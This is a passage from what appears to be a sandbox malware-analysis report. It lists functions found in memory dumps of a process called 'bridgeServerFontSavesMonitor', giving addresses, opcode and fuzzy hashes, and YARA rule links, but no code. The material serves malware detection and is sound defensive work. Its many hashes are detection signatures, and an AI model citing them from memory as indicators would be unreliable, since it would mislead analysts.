Instruction ID: f95778116b1f0252dba4c5eb1863393256a9ec1bd4f17d970f91721847734072
Opcode Fuzzy Hash: cd0307f103ac3baf04c07ebd6f92451abcb62e91360271285c2ec615aae7a1bc
Instruction Fuzzy Hash: B8419330B1890D8FDB55EF6DC458AA973E1FF98310F5102B9D01DC76E5CB39A9818780

Function 00007FFD9BAA0910 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d52f98305bd6c8a9d9f33adfb291bb8dadb3a5ef6adcc5ba04f40c70285683
Instruction ID: da832a57e59ceb861436cda4055b48d16484e73d12baf7c8a32d32319580f06a
Opcode Fuzzy Hash: 49d52f98305bd6c8a9d9f33adfb291bb8dadb3a5ef6adcc5ba04f40c70285683
Instruction Fuzzy Hash: BD412512B0C9590FE318B7BCA4A5AF87781EF5933AB1406FBE44ECB1E7CD14A8418284

Function 00007FFD9BADB58C Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c834f56c941669759944b2535218cf64922c7becfff37d9898d62163d396fec1
Instruction ID: 133abc7c1e0dd37b8c2d8219c9b5a2c7f6f80df3527cc92c354329e991ec6726
Opcode Fuzzy Hash: c834f56c941669759944b2535218cf64922c7becfff37d9898d62163d396fec1
Instruction Fuzzy Hash: 5D311621B19D4E0FEBA4D75C98AA7A873D1EFA8750F8503BAE01DC71E2DD34B9414741

Function 00007FFD9BAA0960 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c52b5ab67f0b43a24563ba67c91a7cea9260ada3764529c4b7538a8beeb8bbb
Instruction ID: 4a0ad5af91269a95306922904d81564d3fe995a47f221ce5543937ed52bc54be
Opcode Fuzzy Hash: 9c52b5ab67f0b43a24563ba67c91a7cea9260ada3764529c4b7538a8beeb8bbb
Instruction Fuzzy Hash: AB31F711B0C91D0FE768BB6C6466AF573C2DF9833AB1446FAE40EC72E7DD18AC418295

Function 00007FFD9BAA0998 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d0a4a60f5781b054e7cf7d172a6cf926834e6e842dd0d2da0f75a92758ebca7
Instruction ID: 88db901a345b7cad395d39bd9b168e211db0db01ab64f653011d0e8c6c74b911
Opcode Fuzzy Hash: 3d0a4a60f5781b054e7cf7d172a6cf926834e6e842dd0d2da0f75a92758ebca7
Instruction Fuzzy Hash: C921F221B1991D0FE798BB6C946AA7976C3EB99321F1101F9E40EC32F6DD64EC418291

Function 00007FFD9BAA0C25 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71bb7e978a42b459a0d8e9e0a0c9cbf2ed05a06163b7b093c6532835327d265
Instruction ID: b529cb0d5a020165a2589cebfe80e937c2cc09a4da923f78c2308a07ce0e9d70
Opcode Fuzzy Hash: d71bb7e978a42b459a0d8e9e0a0c9cbf2ed05a06163b7b093c6532835327d265
Instruction Fuzzy Hash: DB213A36B0D24D4EE331ABA898611EC7B60EF41325F0545B7D04C8E1D3D978268AC365

Function 00007FFD9BAD27C8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858c4a48687da1aa72d17c8d653b51bf26d9b31893fd282d3325ef26d6da3724
Instruction ID: 6f2fb634c066fad1f194280234fc08e517cf86151ab51af893c9122964c28921
Opcode Fuzzy Hash: 858c4a48687da1aa72d17c8d653b51bf26d9b31893fd282d3325ef26d6da3724
Instruction Fuzzy Hash: 1621A731B0DA1D4FEBA8DB98C4A06A87792FF98760F554379E40DD32D2CD68AC818780

Function 00007FFD9BAA2075 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a6f40ee0fca21ba647fca8dbee232e039d11869350706fc39f68b34b5df1564
Instruction ID: 8648de61f7e8f57a718017e7eb081baf93b370cab94679ef4afa1c951c6e2876
Opcode Fuzzy Hash: 7a6f40ee0fca21ba647fca8dbee232e039d11869350706fc39f68b34b5df1564
Instruction Fuzzy Hash: FE116330B0DA0E4FEAB8EBA884646B87393FF54700F0240B5D00ED72A2DD686D418650

Function 00007FFD9BAA1FE8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7666d2b8042b5748835df10e626df8f803f46709ecf54e51102bfe9d3dd031ec
Instruction ID: 64c0efb8ededd9b7375937b6ffdca0a2f26b62b885ddb8f4c57290109e2e9230
Opcode Fuzzy Hash: 7666d2b8042b5748835df10e626df8f803f46709ecf54e51102bfe9d3dd031ec
Instruction Fuzzy Hash: 7311A721F1EA1E5BE7B4AB9884646F97293FF48710F1241B5D40EE31F2DEAC6E508690

Function 00007FFD9BAA449C Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5d5f02ad7baf33439ab231165e3a280a61b7a265b6791d9e8f3f8e340fb17f
Instruction ID: b4a4ea0264ec0777c085a0bb591dd2d32549a0df758752ba45eb14d637d37e52
Opcode Fuzzy Hash: 8f5d5f02ad7baf33439ab231165e3a280a61b7a265b6791d9e8f3f8e340fb17f
Instruction Fuzzy Hash: 1A11ED30D0892D8FDBA8DB08C494BA973E6EB54310F2541A9D44ED3271CF74AEC5CB45

Function 00007FFD9BAA5323 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 564822231bb6c42234dee17e41f32378687a040173cee5a43de2f162b6b4e145
Instruction ID: 7d1f673562543a7625d65cf322dc3bd0157e476bbb80ed7df22ef99f9cfe7115
Opcode Fuzzy Hash: 564822231bb6c42234dee17e41f32378687a040173cee5a43de2f162b6b4e145
Instruction Fuzzy Hash: ED017021F1AA0D4FEFB8E7B8806967822C39F94700B0A00B5D00EC72F2ECB9AD418714

Function 00007FFD9BAA0C38 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82a9f36e522e754ee400106d3f751e20abb237ded239e73501214674f7ada03f
Instruction ID: 02e6b586664894bfd40054fb4812d7ea2db9dcc27b75b9830fb5ea75b05f2daf
Opcode Fuzzy Hash: 82a9f36e522e754ee400106d3f751e20abb237ded239e73501214674f7ada03f
Instruction Fuzzy Hash: 7E11A335B0E68D8EE721DFA8886119C7BB1EF42711F0645B7C088DB1A2D574164987A4

Function 00007FFD9BAA108D Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa7803780815850d76797c18d5a2d8b80251009b47a7449f2b0e73cc15f6ed9
Instruction ID: 514e8b122e16625aa29a871384f36b69df892c0f38895378e74c94ec818c6534
Opcode Fuzzy Hash: 3aa7803780815850d76797c18d5a2d8b80251009b47a7449f2b0e73cc15f6ed9
Instruction Fuzzy Hash: BE01DB11A4E6C52FD76947B05C719A13F95CF9726070A02FAE099DB1F3C84D5986C361

Function 00007FFD9BADBD90 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ad32331694ce81838fc8a59064182af3c94c3c8f492b38f087bc4e95429afa7
Instruction ID: f77bcad7701769c88ec3d1dd2c42f7dadcc147817c002f31151fb841c81a07ef
Opcode Fuzzy Hash: 1ad32331694ce81838fc8a59064182af3c94c3c8f492b38f087bc4e95429afa7
Instruction Fuzzy Hash: 5B0126367595450BC719E72CE8E64D477A0FF5213E74803F2D089CF173E958D44A8680

Function 00007FFD9BADDA48 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2a7ae4a3eaefa88f0e80d4207018cae27b2323ff470bda2d68951f0b98d6b9
Instruction ID: e72067466e168418a38ffcce2033beebc533a57d8eabb2e92f6f77ad10fb9e7d
Opcode Fuzzy Hash: 9a2a7ae4a3eaefa88f0e80d4207018cae27b2323ff470bda2d68951f0b98d6b9
Instruction Fuzzy Hash: D3017132F094098BFBA4DB9898957FC73A1EBD8320F464271D50CD71A5DE79AA818780

Function 00007FFD9BAA0C40 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d023ec2868f824baed77f8c41d73f85fca4a41eb64c5f3e21906c5ec20e96930
Instruction ID: 9bf38bdb979dfdbe8453b08beff877560a5af44b111f6b5aaba68bb9f18d51f6
Opcode Fuzzy Hash: d023ec2868f824baed77f8c41d73f85fca4a41eb64c5f3e21906c5ec20e96930
Instruction Fuzzy Hash: 9B01A135B0E68D8FE722DFA8886419CBFB1EF42711F0645F7C088DB1A2D97466498764

Function 00007FFD9BAA0C48 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9482d04e698df129469b6ce84b973e261f9e59e91a21eceed696bb02a62e47df
Instruction ID: 3e927211c3c7800c72d106962f86ee1e44214be734c1e76048084bc6e357b956
Opcode Fuzzy Hash: 9482d04e698df129469b6ce84b973e261f9e59e91a21eceed696bb02a62e47df
Instruction Fuzzy Hash: CE019235A0E38D9FD721DFA4885419CBFB1AF42710F1641E7D088DB1A2D9746645C754

Function 00007FFD9BADBE35 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9b55b6b3d835b8f47b898187bef3f092d46dcfeeea2c1d12b24c31106aa6a0
Instruction ID: b4b5c72910fa5fa2d59493e586798f9c92d242596f9d038f92de2257710672e7
Opcode Fuzzy Hash: ca9b55b6b3d835b8f47b898187bef3f092d46dcfeeea2c1d12b24c31106aa6a0
Instruction Fuzzy Hash: 39F0591671E1980AC72AB73C68B54F83B50DFA623A78903F7D089CF0A7D808844AC345

Function 00007FFD9BAA20A4 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13fa36616500ce40822b65a238d87a0679f7d9ca0cfcedc23b3f3403c21563d
Instruction ID: 0faa1cc4696bb59613143b2fb120e16deb483ffc059ebe18adf0a15aeaeba8b3
Opcode Fuzzy Hash: e13fa36616500ce40822b65a238d87a0679f7d9ca0cfcedc23b3f3403c21563d
Instruction Fuzzy Hash: 2CF08634E1D91E8BEBB8AB94C8646F97362FB44311F1241B9C04ED31A1CE786E85CA50

Function 00007FFD9BAA0C50 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fa5deb9a5086415271da76bfbc959ad367d11b27124175dab5c24a751fbde64
Instruction ID: a9ce8ca3fe444f8aa684a8f1104411b1f7a58184a331befda5c01c2d4e37fcd5
Opcode Fuzzy Hash: 3fa5deb9a5086415271da76bfbc959ad367d11b27124175dab5c24a751fbde64
Instruction Fuzzy Hash: FE018F34E0E38D9FE731DFA488A419CBFB1AF06714F1541E7D488CB1A2D9786A44C755

Function 00007FFD9BADBDB8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0cfe1280d14651cdd5a844383e9fffca28d8f8a6b78154826fca356054c6557
Instruction ID: c95af368f534384fe778f9f69fd38bffe6925f348d4c5ac53b8d9152b90a8d0a
Opcode Fuzzy Hash: e0cfe1280d14651cdd5a844383e9fffca28d8f8a6b78154826fca356054c6557
Instruction Fuzzy Hash: A6F0EC267595050BC328A72CECF54E43750EF9613F78943B7D049CF1B7DC599849C640

Function 00007FFD9BACD029 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe1c7599fc9e82c6a9b2eaafecaf30d712c4c376eca06a25c2cf254864a94cb
Instruction ID: c024e4f5d94aaa51dda20e0535eb23c44f61a55b6f712f1f0a7e264035a4fb14
Opcode Fuzzy Hash: 6fe1c7599fc9e82c6a9b2eaafecaf30d712c4c376eca06a25c2cf254864a94cb
Instruction Fuzzy Hash: 56F06D6151E3C40FC3129B3888654647FB0EA2720534B05FBC0CACB5B3D91A888B8302

Function 00007FFD9BAD32E9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 181ca1ada3eb83a48fc2363ed3e498fceb98b459a267c4bc5325a02cbcbd7106
Instruction ID: 6f7796e7b9bcfe9084eda7077cd4ed0cc0ca38e15221e1e6cb7d51c3c660dc2b
Opcode Fuzzy Hash: 181ca1ada3eb83a48fc2363ed3e498fceb98b459a267c4bc5325a02cbcbd7106
Instruction Fuzzy Hash: 02E0122070EBC84FC70E96398C695507FB1EB6B11578A52DBC445CB2F3D919DC89C752

Function 00007FFD9BAB4792 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e126082e6e7d33fbdadeee630665ee9f0c59e8dd31bd30ae80c8bef0500291
Instruction ID: e6485c8b83a1216852a83b138e99719c1c3cf3be40a7040638d29d61119e998f
Opcode Fuzzy Hash: c9e126082e6e7d33fbdadeee630665ee9f0c59e8dd31bd30ae80c8bef0500291
Instruction Fuzzy Hash: E7F03021B0D92F4BE669EB8498B06B972D1FB54300F25017ED42AD31F6ED68A9128A50

Function 00007FFD9BAA1AD2 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b931fe6c32d409d5e1e3c552bf2614522898a2b43125c8a24dd57e992beac69
Instruction ID: 556972454a6e57c4a3822440d846e8fdb5a9bdb4fc3cdb0952518ef16796f74c
Opcode Fuzzy Hash: 5b931fe6c32d409d5e1e3c552bf2614522898a2b43125c8a24dd57e992beac69
Instruction Fuzzy Hash: 35E06561F1E81E5FF6B4A78884643B851D3FB6CF10F460176C40ED32A1DDA96D418794

Function 00007FFD9BAB3DB2 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed15529434490e9ec4c8912a1d26bdaa76315af20472bac0306e12745ec051a2
Instruction ID: 29074f2ec9193dbaa73a7ee7ec75fd36655d1317d590503b3b90951bfee6e647
Opcode Fuzzy Hash: ed15529434490e9ec4c8912a1d26bdaa76315af20472bac0306e12745ec051a2
Instruction Fuzzy Hash: 38F01D30E1951E8BEB58EB84D864ABD77A1FF44314F00063ED426D7295DBB466008A40

Function 00007FFD9BAA3C45 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b60745b892445d965a3f194a29e05fcb81bc161cc48a35ac88b369956a510c
Instruction ID: 8440553b4daafc62801fb11df7bb18d0cd51a9145371ecb8cf2d821b501f9d9c
Opcode Fuzzy Hash: 54b60745b892445d965a3f194a29e05fcb81bc161cc48a35ac88b369956a510c
Instruction Fuzzy Hash: 4AE06D21F1AC1D5FE6B4A74C84253B862D3EB6CB00F420276C00DD32A1DD682D428794

Function 00007FFD9BAA0D01 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36d3202f13f79b14e9f2c1ba50328e7df9b9faf4186f3c62e80b38e24aaecd7
Instruction ID: 335660e4f9a38adb0b13f5c23c9b6f5128a64a0954e9f55fe1e473d9e9c0c98c
Opcode Fuzzy Hash: d36d3202f13f79b14e9f2c1ba50328e7df9b9faf4186f3c62e80b38e24aaecd7
Instruction Fuzzy Hash: E4F0B431B0964E8EE7A8DF64C4906AD77E2AF54750F1042BAD00DC32E5DA786684CA54

Function 00007FFD9BAA10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37477a1332f8dbea45706bc70c0e1e34b54eac59278106b873332609dedb0e95
Instruction ID: 48eb3969f01be1fcdf52e714998f073c6be4593aa15639478f648221dc536962
Opcode Fuzzy Hash: 37477a1332f8dbea45706bc70c0e1e34b54eac59278106b873332609dedb0e95
Instruction Fuzzy Hash: 10E02621F5CC4906EBBCA67468B26B07281DB85324B0506BED01AC22DACC495CC14281

Function 00007FFD9BAC9339 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6be8d3dfea1404478713620fc5ff5350d018e69bbbb89780413002534dc6a9a8
Instruction ID: 60906e58f430c49c3df3b296eb373255ec49aabe067f8a7827b98959c5f66fc1
Opcode Fuzzy Hash: 6be8d3dfea1404478713620fc5ff5350d018e69bbbb89780413002534dc6a9a8
Instruction Fuzzy Hash: C8E04F21A0A7C44FC70A97388C699503FB0EE6B21578F00DBD045CB5F3E559CC48C712

Function 00007FFD9BAA626F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd33c3cc4e4f436a06e9ef3d40521a75bfad1651553843dd3518dad1a3abc9c6
Instruction ID: e2dcb4f684eff588c611075954d8418bcf32ea2e915a3ae167b82dc2220a76a4
Opcode Fuzzy Hash: bd33c3cc4e4f436a06e9ef3d40521a75bfad1651553843dd3518dad1a3abc9c6
Instruction Fuzzy Hash: 84E04F21F0682D6FE6B0A75880643A862D2FB6CB00F0502B6C40DD32A1DD6469428794

Function 00007FFD9BAB453E Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a910977822b8c92c576265edb5b32a01c18198aee3000b557f60e55b00c8074
Instruction ID: 2bdb2ae6b19e107446ba141d4ef05c994ad7ed71a9d7a5c1aaa311ccbac977d4
Opcode Fuzzy Hash: 7a910977822b8c92c576265edb5b32a01c18198aee3000b557f60e55b00c8074
Instruction Fuzzy Hash: 71E0483570DD1F86F771975888649BE3253ABD0311F164335C029C21E5DEB8E7054A81

Function 00007FFD9BAC9189 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ededa431d6dcc5f31b8a5c4a0ea6b7dffbafabdd409673d57963b75450596610
Instruction ID: 8050a11e3b0af363771d16532910b4300990286eabbce8d4cb67e2c637cfca9d
Opcode Fuzzy Hash: ededa431d6dcc5f31b8a5c4a0ea6b7dffbafabdd409673d57963b75450596610
Instruction Fuzzy Hash: CEE01A7154A3C04FCB06AB7488699443FB0AE6B21078E41DEC04ACF1B3E62E894AC701

Function 00007FFD9BADA7E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BADA750 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BADDCF9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

